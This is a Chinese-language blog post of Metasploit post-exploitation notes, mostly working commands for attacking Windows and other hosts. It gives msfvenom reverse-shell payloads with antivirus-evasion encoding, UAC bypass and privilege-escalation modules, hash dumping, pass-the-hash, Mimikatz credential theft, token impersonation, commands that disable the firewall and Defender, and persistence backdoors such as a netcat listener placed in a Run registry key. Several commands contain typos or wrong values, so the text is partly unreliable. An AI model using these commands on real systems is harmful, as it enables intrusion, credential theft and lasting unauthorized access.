msf拿shell之后中文乱码

进入shell之后设置

chcp 65001

msfvenom生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=公网IP lport=端口 -f exe > shell.exe

Metasploit监听

msf > use exploit/multi/handler        # 加载模块
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp        # 设置payload
msf exploit(multi/handler) > set LHOST kaliIP    # 设置接收shell的ip
msf exploit(multi/handler) > set LPORT 端口       # 设置生成木马时设置的端口
msf exploit(multi/handler) > set exitonsession false    # 可以让建立监听的端口继续监听,接收多个session
msf exploit(multi/handler) > exploit -j    -z    # 后台监听  (感谢https://blog.csdn.net/qq_27446553/article/details/70305985)
msf exploit(multi/handler) > exploit/run    # 执行

进程转移

meterpreter > getpid    # 获取当前木马的Pid
meterpreter > run post/windows/manage/migrate    # 自动寻找迁移到稳定的进程

几个重要的监听参数

(源:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w)

防止假Session

遇到假session或者刚连接就断开的情况,设置一些监听参数,防止假死与假session

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听。

防止Session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0

msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

-j为后台任务,-z为持续监听,使用jobs命令查看和管理后台任务。

Payload的可持续化

一般来说msfvenom生成的payload会单独开一个进程,这种进程容易被发现和关闭,在后期想做持久化的时候只能在使用migrate进行迁移进程

其实生成payload是就可以指定参数,在运行payload时会直接注入到指定进程

msfvenom -p windows/meterpreter/reverse_tcp LHOST=*.*.*.* LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrepenMigrate=true PrepenMigrateProc=svhost.exe -f exe -o shell.exe

参数说明

  • -p:指定payload
  • LHOST:攻击机地址
  • LPORT:攻击机端口
  • -e:指定编码器(encoder),x86/shikata_ga_nai是免杀中使用频率最高的一个编码器
  • -b:过滤坏字符,规避字符集,\x0f\x00
  • -i:指定编码次数
  • -a:指定目标架构
  • -platform:指定目标平台
  • PrepenMigrate:是否进驻进程
  • PrepenMigrateProc:指定进驻(迁移)进程
  • -f:指定输出格式
  • -o:payload输出路径

MSF提权

MSF内置模块推荐

windows-Exploit-suggester
metasploit内置模块提供了很多可以进行提权的本地exp,并且根据架构,平台(运行的操作系统),会话类型和默认选项来推荐最合适的exp。

用法:

use post/multi/recon/local_exploit_suggester
set SESSION 1
exploit

提高程序运行级别

需要与用户交互

msf模块

exploit/windows/local/ask

参数:

  • FILENAME UAC框显示的应用名字
  • Session

UAC绕过

msf模块

  • exploit/windows/local/bypassuac
  • exploit/windows/local/bypassuac_injection
  • exploit/windows/local/bypassuac_vbs
  • .....

利用提权漏洞

msf模块

  • exploit/windows/local/ms14-058
  • ms08067
  • .....

后渗透信息收集

msf模块

  • 获取目标机器分区情况

post/windows/gather/forensics/enum_drives

  • 判断是否为虚拟机

post/windows/gather/checkvm

  • 开启哪些服务

post/windows/gather/enum_services

  • 安装了哪些应用

post/windows/gather/enum_applications

  • 查看共享

post/windows/gather/enum_shares

  • 获取主机最近的系统操作

post/windows/gather/dumplinks

  • 查看补丁(先迁移进程)

post/windows/gather/enum_patches

  • 收集目标机器基本信息

run scraper

数据包捕获

抓包

  • 加载sniffer: load sniffer
  • 查看网卡信息: sniffer_interface
  • 开启监听: sniffer_start 1
  • 导出数据包: sniffer_dump 1 1.cap

解包

  • 模块: auxiliary/sniffer/psnuffle

后渗透攻击

Passing The Hash

获取Hash值

先获取系统权限

  • hashdump
  • run post/windows/gather/smart_hashdump

    • 检查流程

      • 检查权限和系统类型
      • 检查是否域控制服务器
      • 从注册表读取hash、注入LSASS进程
      • 如果是08server并具有管理员权限,直接getsystem尝试提权
      • 如果是win7且UAC关闭并具有管理员权限,从注册表读取
      • 03/XP直接getsystem,从注册表获取hash
  • run post/windows/gather/hashdump

Hash格式(结构)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
--- 用户名 ---:UID:------------ LM-HASH值 ---------:-------- NT_HASH值 -------------:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

微软Windows系统中存储哈希值的方式一般为LAN Manager(LM)NT LAN Manager(NTLM)NT LAN Manager v2 (NTLMv2)

LM: 存储方式受密码长度限制,假若密码超出7个,则将密码切分为7个字符为一组的哈希值,最大支持14个字符,超出自动转为NTLM方式存储

NTLM: 存储方式与长度无关

aad3b435开头的哈希值是一个空的或不存在的哈希值——空字符串的占位符

彩虹表是哈希值与对应的明文密码组的巨大表单,彩虹表可以是字符 0-9、a-z、特殊字符和空格的任意组合

好用的在线Hash解密网站:

离线:

  • findmyhash
  • msf模块:auxiliary/analyze/jtr_crack_fast 弱口令爆破

Hash传递

无法破解时,可以使用哈希传递

  • exploit/windows/smb/psexec

注册表关闭UAC

首先你是获取到System权限

有UAC可能不成功,需要关闭UAC,通过注册表关闭

Windows7 UAC注册表路径

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System

EnableLUA 项,默认值为1,即开启,改为0即关闭,需要重启生效

命令关闭

reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f

语法:REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] [/reg:32 | /reg:64]

参数说明:

  • /v:所选项之下要添加的值(项)名
  • /t:RegKey(键值)的数据类型,忽略时,默认时REG_SZ

    • REG_BINARY:二进制值。多数硬件信息以二进制数据存储,而以十六进制格式显示在注册表编辑器中
    • REG_SZ:字符串值。包括字符串的注册表键,使用字符串数据类型
    • REG_DWORD:双字节值。是32位信息常显示成4个字节,它在出错控制功能上用处极大,其数据一般以十六进制格式显示在注册表编辑器中
    • REG_MULTI_SZ:多字符串值。允许将一系列项目作为一个单独的一个值使用。对于多种网络协议、多个项目、设备列表以及其他类型的列表项目来说,可以使用多字符串值
    • REG_EXPAND_SZ:可扩充字符串值。代表一个可扩展的字符串
    • 来源参考:Windows注册表内容详解
  • /d:ValueName(键名)的数据(键值)
  • /f:不用提示就强行覆盖现有注册表项

关闭防火墙及杀毒软件

Windows 自带防护软件

# 关闭防火墙(管理员及以上权限)
netsh advfirewall set allprofiles state off

# 关闭Denfender
net stop windefend

# 关闭DEP
bcdedit.exe /set {current} nx AlwaysOff

关闭第三方杀毒软件(MSF模块)

  • run killav msf脚本,可去metasploit目录下的script/metasploit/找到该脚本,修改,自定义
  • run post/windows/manage/killava

远程桌面

开启远程桌面

  • run post/windows/manage/enable_rdp

    • 该模块执行后会生成一个含有关闭远程桌面命令的文件,可用run multi_console_command -r FILENAME执行
  • run getgui -e 可能已失效

开启远程桌面并添加一个新用户test

  • run getgui -u test -p pass

开启远程桌面并绑定在8888端口

  • run getgui -e -f 8888

截图

  • load espia
  • screengrab

令牌假冒(域环境)

假冒令牌可以假冒一个网络中的另一个用户进行各种操作。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。当一个用户登录Windows系统时,它被给定一个访问令牌作为认证会话的一部分。例如,一个入侵用户可能需要以域管理员处理一个特定任务,当它使用令牌便可假冒域管理员进行工作。

Windows安全相关概念

  • Session

会话

  • Windows Station

窗口站、工作站

  • Desktop

桌面

  • Login Session

不同账号登录产生不同的登录Session,代表不同的账号权限

具体看这些吧,我也不是很懂

Tokens

  • 与进程相关联,进程创建时根据Login Session分配的Token,含有该进程用户账号、组信息、权限信息等
  • 用户每次登录,产生Login Session分配队形Token
  • 访问资源时提交Token进行身份验证,类型Wen Cookie
  • Delegate Token :交互式登录会话,一个交互式工作站最少拥有三个桌面,默认(Default)桌面、登录(Winlogon)桌面、屏保(Disconnect)桌面
  • Impersonate Token :非交互式登录会话,一个非交互式工作站最少拥有一个桌面

Msf模块

Incognito

独立软件,因为比较强大,被集成到msf的meterpreter中,不需要获取账号密码,通过窃取token将自己伪装成合法用户,适用于域环境提权渗透多操作系统

meterpreter > load incognito
  • list_tokens

列出所有交互式与非交互式的token

    • -g :列出用户组的token
    • -u :列出用户名的token
    • impersonate_token

    窃取token

    情景是这样的,当域管理员通过一些smb访问已被渗透的机器的共享文件(按我的的理解应该是所谓的非交互式会话)时会带上自己域管理员的token,当再次使用list_tokens命令时,在非交互式会话Token下会多出一个域管理员的Token

    随后使用impersonate_token 域名\\管理员(用户)名,例如impersonate_token 域\\管理员用户名即可窃取并假装域管理员,也相应获得域管理员权限

    跳板攻击及自动路由

    Pivoting

    1.利用已被入侵的主机作为跳板来攻击网络中其他系统

    2.访问由于路由问题而不能直接访问的内网系统

    具体拓扑图

    自动路由(AutoRoute)

    meterpreter > run autoroute -s *.*.*.*/*    # 即将被弃用,转移到后渗透模块
    # - autoroute -s 指定路由网段
    #- autoroute -p 列出路由表信息
    # 或者
    meterpreter > run post/multi/manage/autoroute
    
    # 网关都是当前Session, 表明通过当前Session的机器当作跳板攻击

    扫描内网

    • post/windows/gather/arp_scanner rhosts=*.*.*.*/*
    • use auxiliary/scanner/portscan/tcp

    当使用跳板攻击其内网其他服务器时,Payload需要使用bind_tcp,因为内网服务器不能反向连接攻击机

    Socket代理

    Msf模块

    auxiliary/server/socks5

    msf5 > set SRVHOST 127.0.0.1    # 或者不设置直接运行
    msf5 > run

    修改/etc/prochains.conf,在最后面添加一行

    socks5 127.0.0.1 1080

    再使用ProxyChain代理就可以了

    Mimikatz

    Minikatz是一款后渗透测试工具,它能够从Windows认证(LSASS)的进程中获取内存(用户登录系统之后会生成很多凭证数据,例如NTLMLM等等会保存在LSASS进程中,该进程保存了很多凭证,方便用户单点登录),并且获取明文密码和NTLM哈希值的工具。已被Metasploit集成到meterpreter中作为一个脚本,允许方便地访问它一系列的特性,而不需要上传任何文件的目标机器上

    加载

    meterpreter > load mimikatz

    Mimikatz常用命令

    • 导出Hash和认证信息:msv
    • 导出Kerberos认证信息:Kerberos
    • 获取本地用户信息及密码:wdigest
    • Mimikatz_command -f samdump::
    • Mimikatz_command -f sekurlsa::
    • Mimikatz_command -f handle::
    • Mimikatz_command -f service::
    • Mimikatz_command -f crypto::
    • Mimikatz_command -f nogpo::

    因为没有帮助(-h)参数,可先随意指定模块使其报错,显示出正确模块,例如Mimikatz_command -f a::

    后门

    Meterpreter Shell运行与内存中,重启即失效

    Metsvc

    通过服务启动

    meterpreter > run metsvc        # 设定端口, 上传后门文件

    缺点就是端口(31337)写死,固定的

    Persistence

    通过启动型启动,自启,定期会连、系统启动时回连、自动运行

    meterpreter > run persistence -A -S -U -i 60 -p 5678 -r *.*.*.*
    msf5 > use post/windows/manage/persistence_exe

    参数说明:

    • -A:自动打开一个监听(handler)
    • -S:在作为服务启动时自动启动,需要System权限
    • -U:用户登录自动运行
    • -X:系统启动后门自动运行,开机自启
    • -i: 每隔几秒尝试连接一次
    • -p:监听端口
    • -r:反向连接地址

    NC后门

    上传nc到system32目录下

    upload nc.exe c:\\windows\\system32

    修改注册表

    枚举注册表键值

    meterpreter > reg enumkeu -k HKLM\\software\\microsoft\\windows\currentversion\\run

    在当前主键下增加一个nc键值

    meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentverion\\run -v nc -d 'c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

    查看键值

    meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\currentversion\\run -v nc

    设置防火墙

    开启一个cmd通道

    meterpreter > execute -f cmd -i -H

    查看防火墙状态

    netsh firewall show opmode

    添加防火墙规则允许后门端口通过

    netsh firewall add portopening TCP 444 "Service Firewall" ENABLE ALL

    查看端口状态

    netsh firewall show portopening

    开始连接

    nv -v -ip port

    常用生成Payload命令

    Linux

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=*.*.*.* LPORT=3333 -a x86 --platform Linux -f elf > shell.elf

    Android

    msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=*.*.*.* LPORT=3333 -f raw > shell.apk
    
    msfvenom -p android/meterpreter/reverse_tcp LHOST=*.*.*.* LPORT=3333 R > test.apk

    Mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=*.*.*.* LPORT=3333 -a x86 --platform osx -f macho > shell.macho

    Powershell

    msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=*.*.*.* LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
    

    Shellcode

    基于Linux的Shellcode

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=*.*.*.* LPORT=3333 -a x86 --platform Windows -f c

    基于Windows的Shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=*.*.*.* LPORT=3333 -a x86 --platform Linux -f c
    

    基于Mac的Shellcode

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=*.*.*.* LPORT=3333 -a x86 --platform osx -f c

    其他

    使用 run multi_console_command -r FILENAME 运行指定含有命令的文件

    eog *.jpg  // 查看图片命令

    弹出计算器

    msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d\xff" -f c

    弹出警告框

    msfvenom -p windows/messagebox text="YCheung" -f c exitfunc=thread -b"\x00\x0a\x0d\xff"

    Win+R,网络适配器 ncpa.cpl

    Python简单Web服务

    python2 -m SimpleHTTPServer # Python2 可后面加指定端口
    python3 -m http.server    # Python3 可后面加指定端口

    标签: none

    添加新评论